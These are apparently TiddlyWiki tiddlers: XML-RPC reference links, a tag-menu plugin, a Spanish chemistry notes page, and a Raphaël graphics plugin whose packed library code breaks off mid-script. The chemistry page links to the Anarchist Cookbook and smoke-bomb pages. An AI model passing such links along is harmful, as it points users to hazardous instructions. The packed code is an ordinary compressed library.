* Especificación de XML-RPC: http://www.xmlrpc.com/spec
* Sección para [[Python]] del Howto: http://www.tldp.org/HOWTO/XML-RPC-HOWTO/xmlrpc-howto-python.html
* XML-RPC Howto: http://www.tldp.org/HOWTO/XML-RPC-HOWTO/index.html
* Artículo interesante: http://www.oreillynet.com/pub/a/python/2001/01/17/xmlrpcserver.html
/***
|Name:|QuickOpenTagPlugin|
|Description:|Changes tag links to make it easier to open tags as tiddlers|
|Version:|3.0.1 ($Rev: 3861 $)|
|Date:|$Date: 2008-03-08 10:53:09 +1000 (Sat, 08 Mar 2008) $|
|Source:|http://mptw.tiddlyspot.com/#QuickOpenTagPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
***/
//{{{
config.quickOpenTag = {
dropdownChar: (document.all ? "\u25bc" : "\u25be"), // the little one doesn't work in IE?
createTagButton: function(place,tag,excludeTiddler) {
// little hack so we can do this: <<tag PrettyTagName|RealTagName>>
var splitTag = tag.split("|");
var pretty = tag;
if (splitTag.length == 2) {
tag = splitTag[1];
pretty = splitTag[0];
}
var sp = createTiddlyElement(place,"span",null,"quickopentag");
createTiddlyText(createTiddlyLink(sp,tag,false),pretty);
var theTag = createTiddlyButton(sp,config.quickOpenTag.dropdownChar,
config.views.wikified.tag.tooltip.format([tag]),onClickTag);
theTag.setAttribute("tag",tag);
if (excludeTiddler)
theTag.setAttribute("tiddler",excludeTiddler);
return(theTag);
},
miniTagHandler: function(place,macroName,params,wikifier,paramString,tiddler) {
var tagged = store.getTaggedTiddlers(tiddler.title);
if (tagged.length > 0) {
var theTag = createTiddlyButton(place,config.quickOpenTag.dropdownChar,
config.views.wikified.tag.tooltip.format([tiddler.title]),onClickTag);
theTag.setAttribute("tag",tiddler.title);
theTag.className = "miniTag";
}
},
allTagsHandler: function(place,macroName,params) {
var tags = store.getTags(params[0]);
var filter = params[1]; // new feature
var ul = createTiddlyElement(place,"ul");
if(tags.length == 0)
createTiddlyElement(ul,"li",null,"listTitle",this.noTags);
for(var t=0; t<tags.length; t++) {
var title = tags[t][0];
if (!filter || (title.match(new RegExp('^'+filter)))) {
var info = getTiddlyLinkInfo(title);
var theListItem =createTiddlyElement(ul,"li");
var theLink = createTiddlyLink(theListItem,tags[t][0],true);
var theCount = " (" + tags[t][1] + ")";
theLink.appendChild(document.createTextNode(theCount));
var theDropDownBtn = createTiddlyButton(theListItem," " +
config.quickOpenTag.dropdownChar,this.tooltip.format([tags[t][0]]),onClickTag);
theDropDownBtn.setAttribute("tag",tags[t][0]);
}
}
},
// todo fix these up a bit
styles: [
"/*{{{*/",
"/* created by QuickOpenTagPlugin */",
".tagglyTagged .quickopentag, .tagged .quickopentag ",
" { margin-right:1.2em; border:1px solid #eee; padding:2px; padding-right:0px; padding-left:1px; }",
".quickopentag .tiddlyLink { padding:2px; padding-left:3px; }",
".quickopentag a.button { padding:1px; padding-left:2px; padding-right:2px;}",
"/* extra specificity to make it work right */",
"#displayArea .viewer .quickopentag a.button, ",
"#displayArea .viewer .quickopentag a.tiddyLink, ",
"#mainMenu .quickopentag a.tiddyLink, ",
"#mainMenu .quickopentag a.tiddyLink ",
" { border:0px solid black; }",
"#displayArea .viewer .quickopentag a.button, ",
"#mainMenu .quickopentag a.button ",
" { margin-left:0px; padding-left:2px; }",
"#displayArea .viewer .quickopentag a.tiddlyLink, ",
"#mainMenu .quickopentag a.tiddlyLink ",
" { margin-right:0px; padding-right:0px; padding-left:0px; margin-left:0px; }",
"a.miniTag {font-size:150%;} ",
"#mainMenu .quickopentag a.button ",
" /* looks better in right justified main menus */",
" { margin-left:0px; padding-left:2px; margin-right:0px; padding-right:0px; }",
"#topMenu .quickopentag { padding:0px; margin:0px; border:0px; }",
"#topMenu .quickopentag .tiddlyLink { padding-right:1px; margin-right:0px; }",
"#topMenu .quickopentag .button { padding-left:1px; margin-left:0px; border:0px; }",
"/*}}}*/",
""].join("\n"),
init: function() {
// we fully replace these builtins. can't hijack them easily
window.createTagButton = this.createTagButton;
config.macros.allTags.handler = this.allTagsHandler;
config.macros.miniTag = { handler: this.miniTagHandler };
config.shadowTiddlers["QuickOpenTagStyles"] = this.styles;
store.addNotification("QuickOpenTagStyles",refreshStyles);
}
}
config.quickOpenTag.init();
//}}}
!Descripción
Apuntes sobre química: orgánica e inorgánica.
!Apuntes rápidos
*
!Enlaces interesantes
* ''The Golden Book of Chemistry Experiments (usado por Radiactive boyscout):''
** http://www.scribd.com/doc/4016475/the-golden-book-of-chemistry-experiments-robert-brent
** http://chemistry.about.com/library/goldenchem.pdf
** http://www.taringa.net/posts/offtopic/1172622/Libro-de-cocina-del-Anarquista.html
* ''Experimentos individuales (para páginas de experimentos consultar IngenieriaCiencia)''
** http://chemistry.about.com/od/demonstrationsexperiments/ss/smokebomb.htm
** http://www.makerwiki.com/index.php/Bombas_de_humo
* Tabla periódica didáctica: http://www.bp.com/liveassets/bp_internet/bpes_new/bpes_new_uk/STAGING/local_assets/downloads/secondary_resources/pt_preview_080409.jpg
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
/***
|Name|RaphaelPlugin|
|Source|http://www.TiddlyTools.com/#RaphaelPlugin|
|Documentation|http://www.TiddlyTools.com/#RaphaelPlugin|
|Version|1.0.1|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires|InlineJavacriptPlugin|
|Overrides||
|Description|wrapper for Raphaël library functions - SVG/VML drawing|
|Status|ALPHA/EXPERIMENTAL - SUBJECT TO RAPID CHANGE|
This plugin contains a //compressed// copy of the Raphaël v.0.6.3 SVG/VML Vector Graphics Library, which currently supports Firefox 3.0+, Safari 3.0+, Opera 9.5+ and Internet Explorer 6.0+.
!!!!!Documentation
<<<
Raphaël (http://raphaeljs.com) is a small javascript function library that enables you to create and manipulate vector graphic objects. Raphaël was [[created by Dmitry Baranovskiy|http://dmitry.baranovskiy.com/]] and has been [[distributed under a Creative Commons 3.0 BY-SA license|http://creativecommons.org/licenses/by-sa/3.0/]]. Dmitry writes:
>//Raphaël uses the SVG W3C Recommendation and VML (mostly equivalent Internet Explorer implementation) as a base for creating graphics. This means every graphical object you create is also a DOM object, so you can attach JavaScript event handlers or modify them later. Raphaël’s goal is to provide an adapter that will make drawing vector art (similar to Flash) compatible cross-browser and easy.//
<<<
!!!!!Usage
<<<
Use [[InlineJavascriptPlugin]] to invoke Raphaël functions from within tiddler content.
See http://raphaeljs.com/reference.html for Raphaël API syntax and parameters.
<<<
!!!!!Examples (requires InlineJavascriptPlugin)
<<<
<script show>
var text = 'rotate this text';
var attr = {"font": '18pt "Verdana"', opacity: 0.5};
var holder = createTiddlyElement(place,'div','','groupbox');
var R = Raphael(holder,200,200);
var txt = [];
txt[0] = R.text(100, 100, text).attr(attr).attr("fill", "#0f0");
txt[1] = R.text(100, 100, text).attr(attr).attr("fill", "#f00");
txt[2] = R.text(100, 100, text).attr(attr).attr("fill", "#00f");
holder.onmousemove=function (e) { var ev=e||window.event;
var x=!config.browser.isIE?ev.pageX:(ev.clientX+findScrollX()); // mouse X
var diff=x-this.lastX||x;
txt[0].rotate(diff); txt[1].rotate(diff*1.5); txt[2].rotate(diff*2);
this.lastX=x;
};
</script>
<script show>
// code copied from http://raphaeljs.com/spin-spin-spin.html
function spinner(holderid, R1, R2, count, stroke_width, colour) {
var sectorsCount = count || 12,
color = colour || "#fff",
width = stroke_width || 15,
r1 = Math.min(R1, R2) || 35,
r2 = Math.max(R1, R2) || 60,
cx = r2 + width,
cy = r2 + width,
r = Raphael(holderid, r2 * 2 + width * 2, r2 * 2 + width * 2),
sectors = [],
opacity = [],
beta = 2 * Math.PI / sectorsCount,
pathParams = {stroke: color, "stroke-width": width, "stroke-linecap": "round"};
Raphael.getColor.reset();
for (var i = 0; i < sectorsCount; i++) {
var alpha = beta * i - Math.PI / 2,
cos = Math.cos(alpha),
sin = Math.sin(alpha);
opacity[i] = 1 / sectorsCount * i;
sectors[i] = r.path(pathParams)
.moveTo(cx + r1 * cos, cy + r1 * sin)
.lineTo(cx + r2 * cos, cy + r2 * sin);
if (color == "rainbow") {
sectors[i].attr("stroke", Raphael.getColor());
}
}
var tick;
(function ticker() {
opacity.unshift(opacity.pop());
for (var i = 0; i < sectorsCount; i++) {
sectors[i].attr("opacity", opacity[i]);
}
r.safari();
tick = setTimeout(ticker, 1000 / sectorsCount);
})();
return function () {
clearTimeout(tick);
r.remove();
};
}
var id="RaphaelPluginSpinnerDemo";
var holder=createTiddlyElement(place,'div',id,'')
spinner(id, 20, 60, 20, 20, "#def");
</script>
<<<
!!!!!Revisions
<<<
2009.01.18 [1.0.1] updated to Raphaelv0.6.3
2009.01.05 [1.0.0] initial release
<<<
!!!!!Code
***/
//{{{
version.extensions.RaphaelPlugin={major: 1, minor: 0, revision: 1, date: new Date(2009,1,18)};
//}}}
// // COMPRESSED LIBRARY - see http://raphaeljs.com for original, uncompressed source
//{{{
/*
* Raphael 0.6.3 - JavaScript Vector Library
*
* Copyright (c) 2008 - 2009 Dmitry Baranovskiy (http://raphaeljs.com)
* Licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) license.
*/
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('J 1r=(N(n){J r=N(){11 r.45.2y(r,P)};r.5g="0.6.3";r.1o=n;J q={1F:0,1E:0,1u:"#52","1u-1w":1,22:\'70 "51"\',"22-4b":\'"51"\',"22-3z":"16",2A:0,1b:0,1w:1,1f:"4c,0",r:0,2P:0,28:0,2d:0,2z:"1 1",1g:"#1P","1g-2K":"","1g-3v":"3e","1g-4e":"3e","1g-4f":0,"1g-1w":1,"1g-17":1,2x:"0 0",17:0,x:0,y:0},3X={1F:"1M",1E:"1M",1u:"3T","1u-1w":"1M","22-3z":"1M",1b:"1M",1w:"1M",1f:"1f",r:"1M",2P:"1M",28:"1M",2d:"1M",2z:"3I",1g:"3T","1g-1w":"1M","1g-17":"1M",2x:"3I",17:"1M",x:"1M",y:"1M"},C={};K(n=="3y"){J u=N(i,j,l){J g=1i.1B("1x:2f"),3b=g.1q;3b.2C="2M";3b.1X=0;3b.1A=0;3b.17=l.17+"1G";3b.1b=l.1b+"1G";J m=1i.1B("1x:2H"),3i=m.1q;3i.17=l.17+"1G";3i.1b=l.1b+"1G";m.1f="";K(i["4y"]){m.6c=i["4y"]}m.3l=9.3l;m.3r=9.3r;g.1j(m);l.1k.1j(g);J p=1N A(m,g,l);p.18=1V;p.1o="1f";p.1f=[];p.13={x:0,y:0,1S:0,1T:0,18:1V};p.2B="";p.3g=N(){9.18=1V;11 9};p.3O=N(){9.18=34;11 9};p.3f=N(x,y){J d=9.18?"m":"t";d+=15.1d(19(x,10))+" "+15.1d(19(y,10));9.1c.1f=9.2B+=d;9.13.x=(9.18?0:9.13.x)+19(x,10);9.13.y=(9.18?0:9.13.y)+19(y,10);9.13.18=9.18;9.O.1f+=(9.18?"M":"m")+[x,y];11 9};p.24=N(x,y){J d=9.18?"l":"r";d+=15.1d(19(x,10))+" "+15.1d(19(y,10));9[0].1f=9.2B+=d;9.13.x=(9.18?0:9.13.x)+19(x,10);9.13.y=(9.18?0:9.13.y)+19(y,10);9.13.18=9.18;9.O.1f+=(9.18?"L":"l")+[x,y];11 9};p.49=N(a,b,c,e,f,g){f=(9.18?0:9.13.x)+f;g=(9.18?0:9.13.y)+g;J h=9.13.x,3j=9.13.y,x=(h-f)/2,y=(3j-g)/2,k=(c==e?-1:1)*15.5y(15.44(a*a*b*b-a*a*y*y-b*b*x*x)/(a*a*y*y+b*b*x*x)),1F=k*a*y/b+(h+f)/2,1E=k*-b*x/a+(3j+g)/2,d=e?(9.18?"5w":"5v"):(9.18?"5u":"5t"),1X=15.1d(1F-a),1A=15.1d(1E-b);d+=[1X,1A,15.1d(1X+a*2),15.1d(1A+b*2),15.1d(h),15.1d(3j),15.1d(19(f,10)),15.1d(19(g,10))].1z(", ");9.1c.1f=9.2B+=d;9.13.x=(9.18?0:9.13.x)+19(f,10);9.13.y=(9.18?0:9.13.y)+19(g,10);9.13.18=9.18;9.O.1f+=(9.18?"A":"a")+[a,b,0,c,e,f,g];11 9};p.5j=N(a,b,c){K(!c){11 9.24(a,b)}1l{J x=15.1d(15.1d(19(a,10)*2g)/2g),y=15.1d(15.1d(19(b,10)*2g)/2g),w=15.1d(15.1d(19(c,10)*2g)/2g),d=9.18?"c":"v",1t=[15.1d(9.13.x)+w,15.1d(9.13.y),x-w,y,x,y],5k=[9.13.x+c,9.13.y,a-c,b,a,b];d+=1t.1z(" ")+" ";9.13.x=(9.18?0:9.13.x)+1t[4];9.13.y=(9.18?0:9.13.y)+1t[5];9.13.1S=1t[2];9.13.1T=1t[3];9.1c.1f=9.2B+=d;9.O.1f+=(9.18?"C":"c")+5k;11 9}};p.1J=N(){J d=9.18?"c":"v";K(P.14==6){9.13.1S=(9.18?0:9.13.x)+19(P[2],10);9.13.1T=(9.18?0:9.13.y)+19(P[3],10);9.13.x=(9.18?0:9.13.x)+19(P[4],10);9.13.y=(9.18?0:9.13.y)+19(P[5],10);d+=[15.1d(19(P[0],10)),15.1d(19(P[1],10)),15.1d(19(P[2],10)),15.1d(19(P[3],10)),15.1d(19(P[4],10)),15.1d(19(P[5],10))].1z(" ")+" ";9.13.18=9.18;9.O.1f+=(9.18?"C":"c")+3d.1v.2r.3c(P,0,P.14)}K(P.14==4){J a=9.13.x*2-9.13.1S;J b=9.13.y*2-9.13.1T;9.13.1S=(9.18?0:9.13.x)+19(P[0],10);9.13.1T=(9.18?0:9.13.y)+19(P[1],10);9.13.x=(9.18?0:9.13.x)+19(P[2],10);9.13.y=(9.18?0:9.13.y)+19(P[3],10);d+=[15.1d(a),15.1d(b),15.1d(19(P[0],10)),15.1d(19(P[1],10)),15.1d(19(P[2],10)),15.1d(19(P[3],10))].1z(" ")+" ";9.O.1f+=(9.18?"S":"s")+3d.1v.2r.3c(P,0,P.14)}9.1c.1f=9.2B+=d;11 9};p.3J=N(){J d="5G";K(P.14==4){9.13.3a=(9.18?0:9.13.x)+19(P[0],10);9.13.39=(9.18?0:9.13.y)+19(P[1],10);9.13.x=(9.18?0:9.13.x)+19(P[2],10);9.13.y=(9.18?0:9.13.y)+19(P[3],10);d+=[15.1d(9.13.3a),15.1d(9.13.39),15.1d(9.13.x),15.1d(9.13.y)].1z(" ")+" ";9.13.18=9.18;9.O.1f+=(9.18?"Q":"q")+3d.1v.2r.3c(P,0,P.14)}K(P.14==2){9.13.3a=9.13.x*2-9.13.3a;9.13.39=9.13.y*2-9.13.39;9.13.x=(9.18?0:9.13.x)+19(P[2],10);9.13.y=(9.18?0:9.13.y)+19(P[3],10);d+=[15.1d(9.13.3a),15.1d(9.13.39),15.1d(9.13.x),15.1d(9.13.y)].1z(" ")+" ";9.O.1f+=(9.18?"T":"t")+3d.1v.2r.3c(P,0,P.14)}9.1c.1f=9.2B+=d;9.1f.2k({1o:"5N",5O:[].5Q.3c(P,0),5T:9.18});11 9};p.4X=N(r,a){J R=.4V*r,2u=9.18,o=9;K(2u){9.3O();2u=N(){o.3g()}}1l{2u=N(){}}J b={l:N(){11{u:N(){o.1J(-R,0,-r,-(r-R),-r,-r)},d:N(){o.1J(-R,0,-r,r-R,-r,r)}}},r:N(){11{u:N(){o.1J(R,0,r,-(r-R),r,-r)},d:N(){o.1J(R,0,r,r-R,r,r)}}},u:N(){11{r:N(){o.1J(0,-R,-(R-r),-r,r,-r)},l:N(){o.1J(0,-R,R-r,-r,-r,-r)}}},d:N(){11{r:N(){o.1J(0,R,-(R-r),r,r,r)},l:N(){o.1J(0,R,R-r,r,-r,r)}}}};b[a.3G(0)]()[a.3G(1)]();2u();11 o};p.4h=N(){9.1c.1f=(9.2B+="x e");9.O.1f+="z";11 9};K(1s j=="2e"){p.3g();p.O.1f="";C.3B(p,j)}p.2G();v(p,i);K(i.2A){z(p,i.2A)}11 p};J v=N(o,a){J s=o[0].1q;o.O=o.O||{};1m(J b 1K a){o.O[b]=a[b]}K(a.1f&&o.1o=="1f"){o.2B="";o.1f=[];C.3B(o,a.1f)}K(a.2P!=5Z){o.1W.1q.2P=a.2P}K(a.2x){J c=a.2x.2n(/[, ]+/);o.2E(c[0],c[1])}K(a.2z){J c=a.2z.2n(/[, ]+/);o.2z(c[0],c[1])}K(o.1o=="2o"&&a.1w){o.1c.3P=" 4D:4C.4B.61(1w="+(a.1w*2g)+")";o.1c.1q.4p=(o.1c.3u||"")+(o.1c.3P||"")}a["22-4b"]&&(s.65=a["22-4b"]);a["22-3z"]&&(s.66=a["22-3z"]);a["22"]&&(s.22=a["22"]);a["22-4r"]&&(s.67=a["22-4r"]);K(1s a.1w!="1L"||1s a["1g-17"]!="1L"||1s a.1u!="1L"||1s a.1g!="1L"){o=o.2H||o.1c;J d=(o.3s("1u")&&o.3s("1u")[0])||1i.1B("1x:1u");K("1u-1w"1K a||"1w"1K a){d.1w=((a["1u-1w"]+1||2)-1)*((a.1w+1||2)-1)}K(a.1u){d.2s=1V}K(d.2s==1L||a.1u=="23"){d.2s=34}K(d.2s&&a.1u){J e=a.1u.4q(/^3h\\(([^\\)]+)\\)$/i);K(e){d.3S=e[1];d.1o="6i"}1l{d.2q=a.1u;d.3S="";d.1o="6k"}}o.1j(d);J f=(o.3s("1g")&&o.3s("1g")[0])||1i.1B("1x:1g");K((a.1g&&a.1g!="23")||a["1g-17"]||a["1g-1w"]||a["1g-2K"]){f.2s=1V}K(a.1g=="23"||1s f.2s=="1L"){f.2s=34}K(f.2s&&a.1g){f.2q=a.1g}f.1w=((a["1g-1w"]+1||2)-1)*((a.1w+1||2)-1);a["1g-4e"]&&(f.6l=a["1g-4e"]||"4I");f.4f=a["1g-4f"]||8;a["1g-3v"]&&(f.6z={3e:"6B",41:"41",1d:"1d"}[a["1g-3v"]]||"4I");a["1g-17"]&&(f.4r=(19(a["1g-17"],10)||1)*12/16);K(a["1g-2K"]){J g={"-":"6C",".":"6D","-.":"6E","-..":"6G",". ":"6H","- ":"6I","--":"6K","- .":"6S","--.":"6Y","--..":"6Z"};f.73=g[a["1g-2K"]]||""}o.1j(f)}};J z=N(o,a){o.O=o.O||{};o.O.2A=a;o=o.2H||o[0];J b=o.3s("1u");K(b.14){b=b[0]}1l{b=1i.1B("1x:1u")}K(a.1H.14){b.2s=1V;b.78="23";b.1o=(a.1o.2Q()=="79")?"2A":"7b";K(1s a.1H[0].2q!="1L"){b.2q=a.1H[0].2q||"#1P"}K(1s a.1H[a.1H.14-1].2q!="1L"){b.7e=a.1H[a.1H.14-1].2q||"#1P"}J c=[];1m(J i=0,1p=a.1H.14;i<1p;i++){K(a.1H[i].3k){c.2k(a.1H[i].3k+" "+a.1H[i].2q)}};J d=a.1H[0].1w||1;J e=a.1H[a.1H.14-1].1w||1;K(c){b.7h.7i=c.1z(",");e+=d;d=e-d;e-=d}b.1a("1w",d);b.1a("5H",e);K(a.2j){J f=15.1d(15.7g((19(a.2j[3],10)-19(a.2j[1],10))/(19(a.2j[2],10)-19(a.2j[0],10)))*57.29)||0;b.77=6y-f}K(a.1o.2Q()=="6j"){b.6e="2g%";b.6d="0.5 0.5"}}};J A=N(a,b,c){J d=0,6b=0,6a=0,69=1;9[0]=a;9.1c=a;9.X=0;9.Y=0;9.O={};9.1W=b;9.1Q=c;9.1n={2W:0,2Z:0,2i:0,2w:1,2J:1}};A.1v.3F=N(a,b){K(a==1L){11 9.1n.2i}K(b){9.1n.2i=a}1l{9.1n.2i+=a}9.1W.1q.2P=9.1n.2i;11 9};A.1v.2G=N(a){J b=9.1W.1q,2I=9[0].1q;1m(J i 1K a){9.O[i]=a[i]}J c=9.O,x,y,w,h;27(9.1o){1e"31":x=c.1F-c.r;y=c.1E-c.r;w=h=c.r*2;1h;1e"2U":x=c.1F-c.28;y=c.1E-c.2d;w=c.28*2;h=c.2d*2;1h;1e"2l":1e"2o":x=c.x;y=c.y;w=c.17||0;h=c.1b||0;1h;1e"2b":9.4s.v=["m",15.1d(c.x),", ",15.1d(c.y-2),"l",15.1d(c.x)+1,", ",15.1d(c.y-2)].1z("");11;1e"1f":K(!9.O.1f){x=0;y=0;w=9.1Q.17;h=9.1Q.1b}1l{J d=1r.3K(9.O.1f),x=d.x;y=d.y;w=d.17;h=d.1b}1h;2D:x=0;y=0;w=9.1Q.17;h=9.1Q.1b;1h}K(9.1o=="1f"){J e=15.1d(9.1Q.17/2-w/2-x),1A=15.1d(9.1Q.1b/2-h/2-y);b.1X=-e+"1G";b.1A=-1A+"1G";9.X=e;9.Y=1A;9.W=w;9.H=h;2I.1A=1A+"1G";2I.1X=e+"1G"}1l{J e=9.1Q.17/2-w/2,1A=9.1Q.1b/2-h/2;b.2C="2M";b.1X=x-e+"1G";b.1A=y-1A+"1G";9.X=x-e;9.Y=y-1A;9.W=w;9.H=h;b.17=9.1Q.17+"1G";b.1b=9.1Q.1b+"1G";2I.2C="2M";2I.1A=1A+"1G";2I.1X=e+"1G";2I.17=w+"1G";2I.1b=h+"1G"}};A.1v.4E=N(){9.1W.1q.3R="23";11 9};A.1v.4F=N(){9.1W.1q.3R="4G";11 9};A.1v.2E=N(x,y){K(x==1L&&y==1L){11{x:9.1n.2W,y:9.1n.2Z}}9.1n.2W+=+x;9.1n.2Z+=+y;K(9.1o=="1f"){J a=9.O.1f;a=1r.3o(a);a[0][1]+=+x;a[0][2]+=+y;9.1t({1f:a.1z(" ")})}9.2G({x:9.1n.2W,y:9.1n.2Z});11 9};A.1v.3n=N(){11{x:9.X,y:9.Y,17:9.W,1b:9.H}};A.1v.3m=N(){9[0].1I.2v(9[0]);9.1W.1I.2v(9.1W);9.2H&&9.2H.1I.2v(9.2H)};A.1v.1t=N(){K(P.14==1&&1s P[0]=="2e"){K(P[0]=="2x"){11 9.2E()}11 9.O[P[0]]}K(9.O&&P.14==1&&P[0]4H 3d){J a={};1m(J i=0,1p=P[0].14;i<1p;i++){a[P[0][i]]=9.O[P[0][i]]};11 a}K(9[0].60.2Q()=="2f"){J b=9[0].3p;9.O=9.O||{};K(P.14==2){9.O[P[0]]=P[1]}1l K(P.14==1||1s P[0]=="2R"){1m(J j 1K P[0]){9.O[j]=P[0][j]}}1m(J i=0,1p=b.14;i<1p;i++){9.1t.2y(1N 5Y(b[i],9[0],9.1Q),P)}}1l{J c;K(P.14==2){c={};c[P[0]]=P[1]}K(P.14==1&&1s P[0]=="2R"){c=P[0]}K(c){v(9,c);9.2G(c);K(c.2A){z(9,c.2A)}K(c.2b&&9.1o=="2b"){9[0].2e=c.2b}K(c.2N){9[0].2N=c.2N}}}11 9};A.1v.4L=N(){9.1W.1I.1j(9.1W);11 9};A.1v.4M=N(){K(9.1W.1I.2h!=9.1W){9.1W.1I.2Y(9.1W,9.1W.1I.2h)}11 9};J B=N(a,x,y,r){J g=1i.1B("1x:2f");J o=1i.1B("1x:4O");g.1j(o);a.1k.1j(g);J b=1N A(o,g,a);v(b,{1g:"#1P",1u:"23"});b.2G({x:x-r,y:y-r,17:r*2,1b:r*2});b.O.1F=x;b.O.1E=y;b.O.r=r;b.1o="31";11 b};J D=N(a,x,y,w,h,r){J g=1i.1B("1x:2f");J o=1i.1B(r?"1x:5W":"1x:2l");K(r){o.5U=r/(15.33(w,h))}g.1j(o);a.1k.1j(g);J b=1N A(o,g,a);v(b,{1g:"#1P"});b.2G({x:x,y:y,17:w,1b:h});b.O.x=x;b.O.y=y;b.O.w=w;b.O.h=h;b.O.r=r;b.1o="2l";11 b};J E=N(a,x,y,b,c){J g=1i.1B("1x:2f");J o=1i.1B("1x:4O");g.1j(o);a.1k.1j(g);J d=1N A(o,g,a);v(d,{1g:"#1P"});d.2G({x:x-b,y:y-c,17:b*2,1b:c*2});d.O.1F=x;d.O.1E=y;d.O.28=b;d.O.2d=c;d.1o="2U";11 d};J F=N(a,b,x,y,w,h){J g=1i.1B("1x:2f");J o=1i.1B("1x:2o");o.3S=b;g.1j(o);a.1k.1j(g);J c=1N A(o,g,a);c.1o="2o";c.2G({x:x,y:y,17:w,1b:h});c.O.x=x;c.O.y=y;c.O.w=w;c.O.h=h;11 c};J G=N(a,x,y,b){J g=1i.1B("1x:2f"),35=g.1q;J c=1i.1B("1x:2H"),3i=c.1q;J d=1i.1B("1x:1f"),5I=d.1q;d.v=["m",15.1d(x),", ",15.1d(y-2),"l",15.1d(x)+1,", ",15.1d(y-2)].1z("");d.7j=1V;3i.17=a.17;3i.1b=a.1b;35.2C="2M";35.1X=0;35.1A=0;35.17=a.17;35.1b=a.1b;J o=1i.1B("1x:4s");o.2e=b;o.2s=1V;o.3l=a.3l;o.3r=a.3r;c.1j(o);c.1j(d);g.1j(c);a.1k.1j(g);J e=1N A(o,g,a);e.2H=c;e.4s=d;e.1o="2b";e.O.x=x;e.O.y=y;e.O.w=1;e.O.h=1;v(e,{1g:"23",1u:"#1P"});11 e};J H=N(a){J b=1i.1B("1x:2f"),38=b.1q;38.2C="2M";38.1X=0;38.1A=0;38.17=a.17;38.1b=a.1b;K(a.1k){a.1k.1j(b)}J c=1N A(b,b,a);1m(J f 1K a){K(f.3G(0)!="1n"&&1s a[f]=="N"){c[f]=(N(f){11 N(){J e=a[f].2y(a,P);b.1j(e[0].1I);11 e}})(f)}}c.1o="2f";11 c};r.45=N(){J d,17,1b;K(1s P[0]=="2e"){d=1i.56(P[0]);17=P[1];1b=P[2]}K(1s P[0]=="2R"){d=P[0];17=P[1];1b=P[2]}K(1s P[0]=="1M"){d=1;x=P[0];y=P[1];17=P[2];1b=P[3]}K(!d){58 1N 5a("3y 5b 5d 5e.");}K(!1i.5f["1x"]){1i.5f.5E("1x","5A:5x-5r-64:1Q");1i.5m().5n("1x\\\\:*","5o:3h(#2D#3y)")}J c=1i.1B("5p"),r=C.1k=1i.1B("1x:2f"),26=c.1q,3w=r.1q;C.17=17;C.1b=1b;17=17||"5q";1b=1b||"5s";26.5z="2l(0 "+17+" "+1b+" 0)";26.1A="-5h";26.1X="-5h";26.2C="5B";3w.17=17;3w.1b=1b;r.3l=(17=="2g%"?17:19(17))+" "+(1b=="2g%"?1b:19(1b));r.3r="0 0";J b=1i.1B("1x:2l"),3A=b.1q;3A.1X=3A.1A=0;3A.17=3w.17;3A.1b=3w.1b;b.5C=b.5D="f";r.1j(b);c.1j(r);K(d==1){1i.3C.1j(c);26.2C="2M";26.1X=x+"1G";26.1A=y+"1G";26.17=17;26.1b=1b;d={1q:{17:17,1b:1b}}}1l{26.17=d.1q.17=17;26.1b=d.1q.1b=1b;K(d.2h){d.2Y(c,d.2h)}1l{d.1j(c)}}1m(J e 1K C){d[e]=C[e]}d.46=N(){J a=[];1m(J i=0,1p=r.3p.14;i<1p;i++){K(r.3p[i]!=b){a.2k(r.3p[i])}}1m(i=0,1p=a.14;i<1p;i++){r.2v(a[i])}};11 d};C.3m=N(){C.1k.1I.1I.2v(C.1k.1I)}}K(n=="2O"){J u=N(g,h,j){J k=1i.25(j.1Y,"1f");k.1a("1u","23");K(j.1k){j.1k.1j(k)}J p=1N A(k,j);p.18=1V;p.1o="1f";p.13={x:0,y:0,1S:0,1T:0};p.3g=N(){9.18=1V;11 9};p.3O=N(){9.18=34;11 9};p.3f=N(x,y){J d=9.18?"M":"m";d+=19(x,10).1O(3)+" "+19(y,10).1O(3)+" ";J a=9[0].2S("d")||"";(a=="4c,0")&&(a="");9[0].1a("d",a+d);9.13.x=(9.18?0:9.13.x)+19(x,10);9.13.y=(9.18?0:9.13.y)+19(y,10);9.O.1f=a+d;11 9};p.24=N(x,y){9.13.x=(9.18?0:9.13.x)+19(x,10);9.13.y=(9.18?0:9.13.y)+19(y,10);J d=9.18?"L":"l";d+=19(x,10).1O(3)+" "+19(y,10).1O(3)+" ";J a=9[0].2S("d")||"";9[0].1a("d",a+d);9.O.1f=a+d;11 9};p.49=N(a,b,c,e,x,y){J d=9.18?"A":"a";d+=[19(a,10).1O(3),19(b,10).1O(3),0,c,e,19(x,10).1O(3),19(y,10).1O(3)].1z(" ");J f=9[0].2S("d")||"";9[0].1a("d",f+d);9.13.x=19(x,10);9.13.y=19(y,10);9.O.1f=f+d;11 9};p.5j=N(a,b,c){K(!c){11 9.24(a,b)}1l{J p={};J x=19(a,10);J y=19(b,10);J w=19(c,10);J d=9.18?"C":"c";J e=[+9.13.x+w,+9.13.y,x-w,y,x,y];1m(J i=0,1p=e.14;i<1p;i++){d+=e[i].1O(3)+" "}9.13.x=(9.18?0:9.13.x)+e[4];9.13.y=(9.18?0:9.13.y)+e[5];9.13.1S=e[2];9.13.1T=e[3];J f=9[0].2S("d")||"";9[0].1a("d",f+d);9.O.1f=f+d;11 9}};p.1J=N(){J 